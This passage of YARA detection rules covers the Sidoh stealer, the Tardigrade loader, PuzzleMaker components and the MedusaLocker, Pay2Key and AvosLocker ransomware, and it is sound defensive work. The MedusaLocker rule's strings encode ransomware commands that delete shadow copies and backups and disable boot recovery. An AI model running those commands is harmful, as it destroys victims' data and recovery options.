		uint32( 0 ) == 0x464c457f and filesize > 10KB and 3 of ( $seq* )
}

rule ARKBIRD_SOLG_MAL_Sidoh_Stealer_Aug_2021_1 : FILE
{
	meta:
		description = "Detect Sidoh Stealer used by RYUK group"
		author = "Arkbird_SOLG"
		id = "b4661304-6dfa-5c33-95f2-8694271b9e58"
		date = "2021-08-31"
		modified = "2021-09-01"
		reference = "https://www.crowdstrike.com/blog/sidoh-wizard-spiders-mysterious-exfiltration-tool/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-31/Sidoh/MAL_Sidoh_Stealer_Aug_2021_1.yara#L1-L22"
		license_url = "N/A"
		logic_hash = "baeea14c6be42d64d3ca68298bf6ced34c9587fcda91471945cfc7ed1fe267bd"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "a1ce52437252001b56c9ccd2d2da46240dc38db8074a5ed39a396e8c8e387fc2"
		hash2 = "c64269a64b64b20108df89c4f1a415936c9d9923f8761d0667aa8492aa057acb"
		hash3 = "e6762cb7d09cd90d5469e3c3bfc3b47979cd67aa06c06e893015a87b0348c32c"
		hash4 = "cc4a0b4080844e20fb9535679f7b09a3e2449729ce1815d1e5a64272b0225465"
		tlp = "White"
		adversary = "RYUK (RAAS)"
	strings:
		$s1 = { 68 88 13 00 00 ff 15 ?? 30 41 00 ff 76 04 ff 15 ?? 30 41 00 68 10 27 00 00 53 68 ?? f6 41 00 e8 ?? ?? 00 00 83 c4 0c ff 15 ?? 30 41 00 8b f8 8b f3 8b d7 8b ce d3 ea f6 c2 01 74 34 8d 46 41 6a 3a 66 a3 ?? f6 41 00 58 66 a3 ?? f6 41 00 33 c0 68 ?? f6 41 00 66 a3 ?? f6 41 00 ff 15 ?? 30 41 00 83 f8 05 74 0a b9 ?? f6 41 00 e8 ?? ?? 00 00 46 83 fe 1a 7c bb 68 10 27 00 00 53 68 ?? f6 41 00 e8 ?? ?? 00 00 8b 3d ?? 30 41 00 8d 44 24 28 83 c4 0c 89 5c 24 1c 6a 01 50 53 ff d7 8b 35 ?? 30 41 00 6a 04 68 00 10 00 00 ff 74 24 24 53 ff d6 8b d8 8d 44 24 1c 6a 01 50 53 89 5c 24 30 ff d7 6b 0b 18 6a 04 68 00 10 00 00 51 33 c9 51 ff d6 68 00 40 00 00 6a 40 89 44 24 38 ff 15 ?? 30 41 00 33 f6 89 44 24 2c 89 74 24 }
		$s2 = { 8b ca c1 e9 02 f3 a5 8b ca 83 e1 03 f3 a4 33 f6 56 56 56 6a 01 56 ff 15 ?? 31 41 00 a3 ?? ?? 42 00 8b fe 85 c0 74 4e 56 68 00 00 00 08 6a 01 68 ?? ?? 41 00 68 ?? ec 41 00 6a 15 ff 75 f8 50 ff 15 ?? 31 41 00 8b f8 85 ff 74 42 56 6a 02 8d 85 f0 fc ff ff 50 53 57 ff 15 ?? 31 41 00 85 c0 75 0f ff 15 ?? 30 41 00 8b d8 a1 ?? ?? 42 00 eb 08 a1 ?? ?? 42 00 33 db 43 8b 35 ?? 31 41 00 50 ff d6 57 ff d6 8b c3 5f 5e 5b 8b e5 }
		$s3 = { 55 8b ec 83 ec 58 53 8b 1d ?? 30 41 00 56 57 6a 04 68 00 10 00 00 6a 02 6a 00 89 55 f0 8b f1 ff d3 8b f8 85 ff 75 08 83 c8 ff e9 0f 01 00 00 56 68 ?? ?? 41 00 57 e8 93 ff ff ff 83 65 f8 00 8d 45 f8 50 6a 00 57 ff 15 ?? 31 41 00 83 c4 18 8b f0 83 7d f8 00 89 75 f4 74 04 6a fd eb 33 83 65 ac 00 8d 45 ac 50 ff 15 ?? 31 41 00 8d 45 ac 50 6a 00 68 ?? ?? 41 00 56 ff 15 ?? 31 41 00 83 c4 14 83 7d c8 00 77 10 72 06 }
		$s4 = { 6a 04 68 00 10 00 00 ff 75 c4 6a 00 ff d3 8b d8 85 db 75 1a 68 00 80 00 00 50 57 ff 15 ?? 30 41 00 56 ff 15 ?? 31 41 00 59 6a fb 58 eb 79 6a 00 68 ?? ?? 41 00 56 ff 15 ?? 31 41 00 ff 75 c8 8b f0 ff 75 c4 53 56 ff 15 ?? 31 41 00 56 ff 15 ?? 31 41 00 ff 75 f4 ff 15 ?? 31 41 00 ff 75 08 8b 55 c4 8b cb ff 75 f0 e8 3b 02 00 00 8b f0 83 c4 2c 85 f6 75 14 83 7d 08 05 75 0e 8b 55 c4 51 8b cb e8 b3 09 00 00 59 8b f0 68 00 80 00 00 6a 00 53 ff 15 ?? 30 41 00 68 00 80 00 00 6a 00 57 ff 15 ?? 30 41 00 8b c6 5f 5e 5b 8b e5 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 20KB and all of ( $s* )
}

rule ARKBIRD_SOLG_APT_Tardigrade_Nov_2021_1 : FILE
{
	meta:
		description = "Detect Tardigrade loader"
		author = "Arkbird_SOLG"
		id = "f6c8014a-21dd-5ebd-9edd-7a9f649a43a0"
		date = "2021-11-22"
		modified = "2021-11-23"
		reference = "https://www.isac.bio/post/tardigrade"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-22/APT_Tardigrade_Nov_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "98358d9dbf62e653b136268d8694ed4d7f48c80125dd12ccea5f36ff5c6b4a3c"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "1c7c1a28921d81f672320e81ad58642ef3b8e27abf8a8e51400b98b40f49568be"
		hash2 = "c0976a1fbc3dd938f1d2996a888d0b3a516b432a2c38d788831553d81e2f5858"
		hash3 = "cf88926b7d5a5ebbd563d0241aaf83718b77cec56da66bdf234295cc5a91c5fe"
		tlp = "white"
		adversary = "Tardigrade"
	strings:
		$s1 = { 63 6d 64 2e 65 78 65 20 2f 63 20 65 63 68 6f 20 [10-40] 3e 22 25 73 22 26 65 78 69 74 }
		$s2 = { 4c 89 44 24 38 89 54 24 34 48 89 4c 24 28 e8 [2] 01 00 e8 [2] 01 00 4c 8b 44 24 38 8b 54 24 34 48 8b 4c 24 28 48 83 c4 48 e9 71 fe ff ff 90 48 89 ca 48 8d 0d 76 ?? 02 00 }
		$s3 = { 41 57 41 56 41 55 41 54 55 57 56 53 48 ?? ec [1-4] 48 8b 84 24 ?? 00 00 00 48 89 44 24 60 48 8b 05 [2] 01 00 48 89 4c 24 40 ?? 38 }
		$s4 = { 45 31 c0 48 8d 8c 24 ?? 02 00 00 4c 8d 8c 24 ?? 01 00 00 48 8d 15 [2] 01 00 ff 15 [2] 02 00 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 50KB and all of them
}

rule ARKBIRD_SOLG_APT_Puzzlemaker_Implant_Jun_2021_1 : FILE
{
	meta:
		description = "Detect the implant of the PuzzleMaker group"
		author = "Arkbird_SOLG"
		id = "9387130c-4474-55bf-9736-09494a5e81b8"
		date = "2021-06-10"
		modified = "2021-11-01"
		reference = "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-09/PuzzleMaker/APT_PuzzleMaker_Implant_Jun_2021_1.yara#L1-L21"
		license_url = "N/A"
		logic_hash = "e54eaaa76b2d370a27a232dee2299266f8b3b82d53da36e35c2a6fcdd7d5b1f7"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "8a17279ba26c8fbe6966ea3300fdefb1adae1b3ed68f76a7fc81413bd8c1a5f6"
		hash2 = "1ee9bb4e8bcabe197399b654dbf940438b120af1c376719ff9bdccf2bb1dc606"
		hash3 = "f2ce2a00de8673f52d37911f3e0752b8dfab751b2a17e719a565b4083455528e"
		tlp = "White"
		adversary = "PuzzleMaker"
	strings:
		$s1 = { 4c 8d 4c 24 5c 49 8b ce 48 8d 95 c0 00 00 00 ff 15 21 01 04 00 85 c0 74 28 4c 8d 4c 24 58 4c 89 64 24 20 41 b8 00 04 00 00 48 8d 95 c0 04 00 00 49 8b cf ff 15 b5 fe 03 00 85 c0 0f 85 25 ff ff ff ff 15 77 fe 03 00 8b }
		$s2 = { 40 55 53 56 41 55 41 57 48 8d ac 24 a0 fe ff ff 48 81 ec 60 02 00 00 48 8b 05 5a 1c 03 00 48 33 c4 48 89 85 30 01 00 00 48 8b 85 b0 01 00 00 4c 8b f9 48 8b b1 b8 00 00 00 4c 8b ad c8 01 00 00 48 83 c6 07 48 89 44 24 60 48 8b 85 d0 01 00 00 48 89 45 98 8b 85 c0 01 00 00 83 c0 fd 48 c1 ee 03 4c 89 4d 80 4c 89 45 88 48 89 55 90 83 f8 06 0f 87 84 03 00 00 48 8d 15 f3 6b fd ff 48 98 8b 8c 82 b0 97 02 00 48 }
		$s3 = { 48 8d 1d 98 3d 02 00 0f 57 c0 48 89 bc 24 58 02 00 00 33 c0 c7 44 24 68 01 00 00 00 0f 11 85 80 00 00 00 4c 8b c6 c7 85 8c 00 00 00 10 27 00 00 48 8d 95 a0 00 00 00 48 89 44 24 70 49 8b c9 48 89 44 24 78 0f 11 45 20 0f 11 45 30 0f 11 45 40 0f 11 45 50 0f 11 45 60 0f 11 45 70 0f 11 85 90 00 00 00 e8 57 58 fe ff 8b f8 85 c0 0f 85 62 02 00 00 49 8b 87 b8 00 00 00 48 8d 4c 24 68 48 8b 54 24 60 48 83 c0 07 48 c1 e8 03 4c 89 a4 24 50 02 00 00 4c 8b a5 b8 01 00 00 4c 3b e0 4c 89 b4 24 48 02 00 00 4d 8b f4 4c 0f 47 f0 4d 8b c6 e8 1b 57 fe ff 8b f8 85 c0 75 54 49 8b 87 b8 00 00 00 4a 8d 14 f5 00 00 00 00 48 }
		$s4 = { 85 ff 0f 85 cd 01 00 00 48 8b 4d 90 48 8d 45 a0 48 89 44 24 50 45 33 c9 48 8d 45 d0 4d 8b c7 48 89 44 24 48 33 d2 4c 89 64 24 40 4c 89 64 24 38 c7 44 24 30 00 00 00 08 c7 44 24 28 01 00 00 00 4c 89 64 24 20 ff 15 62 1c 04 00 85 c0 75 3a ff 15 38 1d 04 00 44 8b c3 48 8b ce 8b d0 8b f8 e8 d1 09 00 00 48 8b 4d 80 ff 15 07 1d 04 00 48 8b 4d 88 ff 15 fd 1c 04 00 48 8b 4d 90 ff 15 f3 1c 04 00 }
		$s5 = { 40 53 55 56 57 41 54 41 55 41 56 41 57 48 81 ec 28 02 00 00 48 8b 05 5d 0a 04 00 48 33 c4 48 89 84 24 10 02 00 00 48 8b ac 24 90 02 00 00 0f 57 c0 4c 8b ac 24 98 02 00 00 33 db 45 32 e4 4c 89 4c 24 58 4c 89 44 24 70 49 8b f9 48 89 6c 24 68 4d 8b c8 4c 89 6c 24 60 4c 8b fa 48 8b f1 44 8b f3 0f 11 84 24 e0 00 00 00 c7 84 24 ec 00 00 00 10 27 00 00 0f 11 84 24 80 00 00 00 0f 11 84 24 90 00 00 00 0f 11 84 24 a0 00 00 00 0f 11 84 24 b0 00 00 00 0f 11 84 24 c0 00 00 00 0f 11 84 24 d0 00 00 00 0f 11 84 24 f0 00 00 00 48 85 ed 75 47 4c 8b 81 b8 00 00 00 48 8d 05 a1 c2 ff ff 48 89 44 24 68 48 8d 8c 24 80 00 00 00 49 83 c0 07 48 8d 84 24 80 00 00 00 49 c1 e8 03 49 8b d1 48 89 44 24 60 e8 87 c2 ff ff 8b f8 85 c0 0f 85 ee 01 00 00 48 8b 7c 24 58 48 8d 56 68 48 8d 4f 18 e8 7b 4a ff ff 85 c0 75 15 48 8d 56 50 48 8b cf e8 6b 4a ff ff 85 c0 75 05 40 b5 }
		$s6 = { 41 b9 01 00 00 00 c7 44 24 20 00 00 00 f0 45 33 c0 48 8d 4c 24 60 33 d2 ff 15 11 06 04 00 85 c0 74 28 48 8b 4c 24 60 4c 8d 85 b0 00 00 00 ba 20 00 00 00 ff 15 ee 05 04 00 48 8b 4c 24 60 33 d2 85 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 80KB and 5 of ( $s* )
}

rule ARKBIRD_SOLG_APT_Puzzlemaker_Launcher_Jun_2021_1 : FILE
{
	meta:
		description = "Detect the launcher of the PuzzleMaker group"
		author = "Arkbird_SOLG"
		id = "ae31d9de-8e6c-5c1b-bc45-bc4e50cea00f"
		date = "2021-06-10"
		modified = "2021-11-01"
		reference = "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-09/PuzzleMaker/APT_PuzzleMaker_Launcher_Jun_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "5c717ca5c57a86e1b5db45b3d581a45be248d45820c00c40c57a001ac07ce1b2"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "982f7c4700c75b81833d5d59ad29147c392b20c760fe36b200b541a0f841c8a9"
		tlp = "White"
		adversary = "PuzzleMaker"
	strings:
		$s1 = { 4c 89 6d bf 48 8d 45 bf 48 89 44 24 20 4c 8d 0d f9 45 01 00 33 d2 44 8d 42 01 48 8d 0d dc 45 01 00 ff 15 56 44 01 00 8b d8 85 c0 78 c6 4c 89 6d c7 48 8b 45 bf 48 8b 08 4c 8b 79 18 b9 18 00 00 00 e8 9b 04 00 00 48 8b d8 48 89 45 a7 48 85 c0 74 32 0f 57 c0 33 c0 0f 11 03 48 89 43 10 4c 89 6b 08 c7 43 10 01 00 00 00 48 8d 0d 15 fb 01 00 ff 15 cf 43 01 00 48 89 03 48 85 }
		$s2 = { 44 89 6c 24 38 4c 89 6c 24 30 c7 44 24 28 03 00 00 00 c7 44 24 20 03 00 00 00 45 33 c9 45 33 c0 41 8d 51 0a 48 8b 4d c7 ff 15 f6 42 01 00 85 c0 0f 88 bb 01 00 00 48 8d 0d 1d fa 01 00 ff 15 c1 42 01 00 4c 8b f8 48 8d 0d 1b fa 01 00 ff 15 b1 42 01 00 4c 8b e0 4c 89 6d df 48 8b 4d c7 48 8b 11 4c 8b 52 30 4c 89 6c 24 28 48 8d 45 df 48 89 44 24 20 45 33 c9 45 33 c0 49 8b d4 41 ff d2 4c 89 6d e7 48 8b 4d df 48 8b 01 4c 89 6c 24 20 4c 8d 4d e7 45 33 c0 49 8b d7 ff 90 98 00 00 00 4c 89 6d cf 48 8b 4d e7 48 8b 01 4c 8d 45 cf 33 d2 ff 50 78 b8 08 00 00 00 66 89 45 ef 8d 48 10 e8 dc 02 00 00 48 8b d8 48 89 45 a7 48 85 c0 74 33 0f 57 c0 33 c0 0f 11 03 48 89 43 10 4c 89 6b 08 c7 43 10 01 00 00 00 48 8b ce ff 15 14 42 01 00 48 89 03 48 85 c0 75 0e 48 85 }
		$s3 = { 4c 8d 05 75 0e 02 00 0f 1f 40 00 66 0f 1f 84 00 00 00 00 00 0f b6 d0 42 0f b6 0c 12 66 41 31 08 74 12 ff c0 49 83 c0 02 83 f8 20 72 e7 0f 1f 80 00 00 00 00 0f b7 05 49 09 02 00 48 8d 0d 76 09 02 00 66 d1 e8 66 83 e0 7f 66 0f 6f 15 f3 d4 01 00 66 89 05 2c 09 02 00 0f b7 05 27 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 19 09 02 00 0f b7 05 14 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 06 09 02 00 0f b7 05 01 09 02 00 66 d1 e8 66 83 e0 7f 66 89 05 f3 08 02 00 0f b7 05 ee 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 e0 08 02 00 0f b7 05 db 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 cd 08 02 00 0f b7 05 c8 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 ba 08 02 00 0f b7 05 b5 08 02 00 66 d1 e8 66 83 e0 7f f3 0f 6f 05 bc 08 02 00 66 89 05 9f 08 02 00 0f b7 05 9a 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 8c 08 02 00 0f b7 05 87 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 79 08 02 00 0f b7 05 74 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 66 08 02 00 0f b7 05 61 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 53 08 02 00 0f b7 05 4e 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 40 08 02 00 0f b7 05 3b 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 2d 08 02 00 0f b7 05 28 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 1a 08 02 00 0f b7 05 15 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 07 08 02 00 0f b7 05 02 08 02 00 66 d1 e8 66 83 e0 7f 66 89 05 f4 07 02 00 0f b7 05 ef 07 02 00 66 d1 e8 66 83 e0 7f 66 89 05 e1 07 02 00 b8 01 00 00 00 66 0f 6e c8 8d 50 05 66 0f d1 c1 66 0f db c2 f3 0f 7f 05 c7 07 02 00 0f }
		$s4 = { 48 89 9c 24 60 06 00 00 48 89 b4 24 68 06 00 00 48 89 bc 24 70 06 00 00 4c 89 b4 24 30 06 00 00 c7 05 2e 1a 02 00 04 00 00 00 48 c7 05 27 1a 02 00 01 00 00 00 4c 89 2d 2c 1a 02 00 ff 15 22 48 01 00 48 8d 35 8b 04 02 00 66 66 66 0f 1f 84 00 00 00 00 00 33 d2 44 89 6c 24 70 41 b8 08 03 00 00 48 8d 8d 10 02 00 00 45 8b f5 e8 e4 28 00 00 4c 8d 0d 5d 03 02 00 48 89 74 24 20 ba 84 01 00 00 48 8d 8d 10 02 00 00 49 c7 c0 ff ff ff ff e8 a0 fb ff ff 48 8d 54 24 70 48 8d 8d 10 02 00 00 e8 9f 05 00 00 8b d0 85 }
		$s5 = { 4c 89 6c 24 60 4c 8d 05 25 cc 01 00 4c 89 6c 24 58 48 8d 15 e1 04 02 00 4c 89 6c 24 50 41 b9 ff 01 0f 00 4c 89 6c 24 48 48 8b cf 4c 89 6c 24 40 48 89 74 24 38 44 89 6c 24 30 c7 44 24 28 02 00 00 00 c7 44 24 20 10 00 00 00 ff 15 19 46 01 00 48 8b d8 ff 15 a8 46 01 00 8b f0 48 85 db 74 22 48 8b cb ff 15 20 46 01 00 48 8b cb ff 15 ff 45 01 00 48 8b cf ff 15 f6 45 01 00 bf 01 00 00 }
		$s6 = { 33 d2 33 c9 41 b8 3f 00 0f 00 ff 15 f4 46 01 00 48 8b f8 48 85 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 80KB and 5 of ( $s* )
}

rule ARKBIRD_SOLG_RAN_Medusalocker_July_2021_1 : FILE
{
	meta:
		description = "Detect MedusaLocker ransomware"
		author = "Arkbird_SOLG"
		id = "7eec35ac-f1ec-596b-8224-ef27e31e841c"
		date = "2021-07-25"
		modified = "2021-08-08"
		reference = "https://twitter.com/r3dbU7z/status/1418433910057353217"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-25/MedusaLocker/RAN_MedusaLocker_July_2021_1.yara#L1-L28"
		license_url = "N/A"
		logic_hash = "541665541c07b585a7dfa024f85516b7be94d7d8d76a85e58c8c3b71fd0550ff"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "033b4950a8f249b20eb86ec6f8f2ea0a1567bb164289d1aa7fb0ba51f9bbe46c"
		hash2 = "0abb4a302819cdca6c9f56893ca2b52856b55a0aa68a3cb8bdcd55dcc1fad9ad"
		hash3 = "c2a0a317d73c96428ab088a8f0636ec4ccace7ca691c84ed66a83a70183f40dc"
		hash4 = "f5fb7fa5231c18f0951c755c4cb0ec07b0889b5e320f42213cbf6bbbe499ad31"
		tlp = "white"
		adversary = "RaaS"
	strings:
		$s1 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 52 00 65 00 73 00 69 00 7a 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 53 00 74 00 6f 00 72 00 61 00 67 00 65 00 20 00 2f 00 66 00 6f 00 72 00 3d 00 ?? 00 3a 00 20 00 2f 00 6f 00 6e 00 3d 00 ?? 00 3a 00 20 00 2f 00 6d 00 61 00 78 00 73 00 69 00 7a 00 65 00 3d }
		$s2 = { 64 00 65 00 6c 00 20 00 2f 00 73 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 56 00 48 00 44 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 61 00 63 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 61 00 6b 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 77 00 62 00 63 00 61 00 74 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 6b 00 66 00 20 00 ?? 00 3a 00 5c 00 42 00 61 00 63 00 6b 00 75 00 70 00 2a 00 2e 00 2a 00 20 00 ?? 00 3a 00 5c 00 62 00 61 00 63 00 6b 00 75 00 70 00 2a 00 2e 00 2a 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 73 00 65 00 74 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 77 00 69 00 6e 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 64 00 73 00 6b }
		$s3 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 }
		$s4 = { 42 67 49 41 41 41 43 6b 41 41 42 53 55 30 45 78 }
		$s5 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" fullword wide
		$s6 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 4e 00 6f }
		$s7 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 41 00 6c 00 6c 00 20 00 2f 00 51 00 75 00 69 00 65 00 74 }
		$s8 = { 77 00 6d 00 69 00 63 00 2e 00 65 00 78 00 65 00 20 00 53 00 48 00 41 00 44 00 4f 00 57 00 43 00 4f 00 50 00 59 00 20 00 2f 00 6e 00 6f 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 }
		$s9 = { 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 44 00 45 00 4c 00 45 00 54 00 45 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 53 00 54 00 41 00 54 00 45 00 42 00 41 00 43 00 4b 00 55 00 50 }
		$s10 = { 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 20 4c 49 53 54 20 4f 46 20 45 4e 43 52 59 50 54 45 44 20 46 49 4c 45 53 20 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 0d 0a }
		$x1 = { 48 89 5c 24 08 57 48 83 ec 30 48 8b da 48 8b f9 e8 0b fe ff ff 44 8b 43 08 48 8d 47 28 44 2b 03 45 33 c9 48 8b 13 48 8b 4f 20 48 89 44 24 28 c7 44 24 20 00 00 00 00 ff 15 [2] 07 00 85 c0 74 12 c6 47 08 01 48 8b c7 48 8b 5c 24 40 48 83 c4 30 5f c3 ff 15 [2] 07 00 48 8b 5c 24 40 89 47 34 48 8b c7 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 150KB and 9 of ( $s* ) and $x1
}

rule ARKBIRD_SOLG_Ran_Pay2Key_Nov_2020_1 : FILE
{
	meta:
		description = "Detect Pay2Key ransomware"
		author = "Arkbird_SOLG"
		id = "440b8128-4708-54ba-94c3-c0b522004da6"
		date = "2020-12-01"
		modified = "2020-12-14"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-14/Pay2Key/Ran_Pay2Key_Nov_2020_1.yar#L1-L31"
		license_url = "N/A"
		logic_hash = "f1ea1ed141ba7a1eaaa34c216adebfacaa23ef8776a0216b778ccb34bd000590"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "5bae961fec67565fb88c8bcd3841b7090566d8fc12ccb70436b5269456e55c00"
		hash2 = "d2b612729d0c106cb5b0434e3d5de1a5dc9d065d276d51a3fb25a08f39e18467"
		hash3 = "ea7ed9bb14a7bda590cf3ff81c8c37703a028c4fdb4599b6a283d68fdcb2613f"
	strings:
		$s1 = "F:\\2-Sources\\21-FinalCobalt\\Source\\cobalt\\Cobalt\\Cobalt\\Win32\\Release\\Client\\Cobalt.Client.pdb" fullword ascii
		$s2 = ".\\Cobalt-Client-log.txt" fullword ascii
		$s3 = ".\\Config.ini" fullword wide
		$s4 = "Local\\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag" fullword ascii
		$s5 = "\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" fullword ascii
		$s6 = { 40 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 31 00 2e 00 31 00 2e 00 31 00 2e 00 31 00 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 33 00 30 00 30 00 30 00 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 44 00 65 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 }
		$s7 = "%WINDRIVE%" fullword wide
		$s8 = "%WINDIR%" fullword wide
		$dbg1 = "message.txt" fullword ascii
		$dbg2 = "Failed To Get Data...." fullword ascii
		$dbg3 = "lock.locked()" fullword wide
		$dbg4 = { 47 65 74 41 64 61 70 74 65 72 73 49 6e 66 6f 20 66 61 69 6c 65 64 20 77 69 74 68 20 65 72 72 6f 72 3a 20 25 64 0a }
		$dbg5 = { 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 20 66 61 69 6c 65 64 3a 20 25 78 0a }
		$dbg6 = { 43 72 79 70 74 44 65 72 69 76 65 4b 65 79 20 66 61 69 6c 65 64 3a 20 25 78 0a 00 00 25 00 64 }
		$dbg7 = { 5b 2d 5d 20 43 72 79 70 74 45 6e 63 72 79 70 74 20 66 61 69 6c 65 64 0a }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 500KB and ( 5 of ( $s* ) and 4 of ( $dbg* ) )
}

rule ARKBIRD_SOLG_RAN_Avoslocker_July_2021_1 : FILE
{
	meta:
		description = "Detect AvosLocker ransomware"
		author = "Arkbird_SOLG"
		id = "3fbc707f-9802-54bc-933b-bc4c4953b1d0"
		date = "2021-07-23"
		modified = "2021-07-24"
		reference = "https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/AvosLocker/RAN_AvosLocker_July_2021_1.yara#L1-L23"
		license_url = "N/A"
		logic_hash = "e2291f574b5ab68e901a76b6511e0ee4c1eee51d5e3eced62bf68ceedb061958"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856"
		hash2 = "fb544e1f74ce02937c3a3657be8d125d5953996115f65697b7d39e237020706f"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 64 72 69 76 65 20 25 73 20 74 6f 6f 6b 20 25 66 20 73 65 63 6f 6e 64 73 0a 00 00 00 25 63 3a 00 64 72 69 76 65 3a 20 25 73 }
		$s2 = { 63 6c 69 65 6e 74 5f 72 73 61 5f 70 72 69 76 3a 20 25 73 0a }
		$s3 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 45 4e 44 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d }
		$s4 = { ff 35 b8 2c 46 00 88 9d 7c ef ff ff e8 3c 56 02 00 50 8d 85 71 ef ff ff 50 e8 c5 9e ff ff 83 c4 0c 8d 85 94 ef ff ff 50 53 53 68 14 01 00 00 ff 35 b8 2c 46 00 ff b5 90 ef ff ff ff 15 00 a0 44 00 85 c0 0f 85 cd 00 00 00 8b 35 48 a0 44 00 8d 85 98 fe ff ff 53 68 ff 00 00 00 50 68 00 04 00 00 ff d6 50 53 68 00 10 00 00 ff 15 44 a0 44 00 b1 3e c7 85 70 ef ff ff 3e 7b 6c 6c c7 85 74 ef ff ff 71 6c 04 1e 8b c3 c7 85 78 ef ff ff 1b 4d 34 00 30 8c 05 71 ef ff ff 40 83 f8 0a 73 08 8a 8d 70 ef ff ff eb eb 8d 85 98 fe ff ff 88 9d 7b ef ff ff 50 8d 85 71 ef ff ff 50 e8 23 9e ff ff 0f 28 05 00 8b 45 00 59 0f 11 85 48 ef ff ff 59 0f 28 05 40 8b 45 00 8b cb 0f 11 85 58 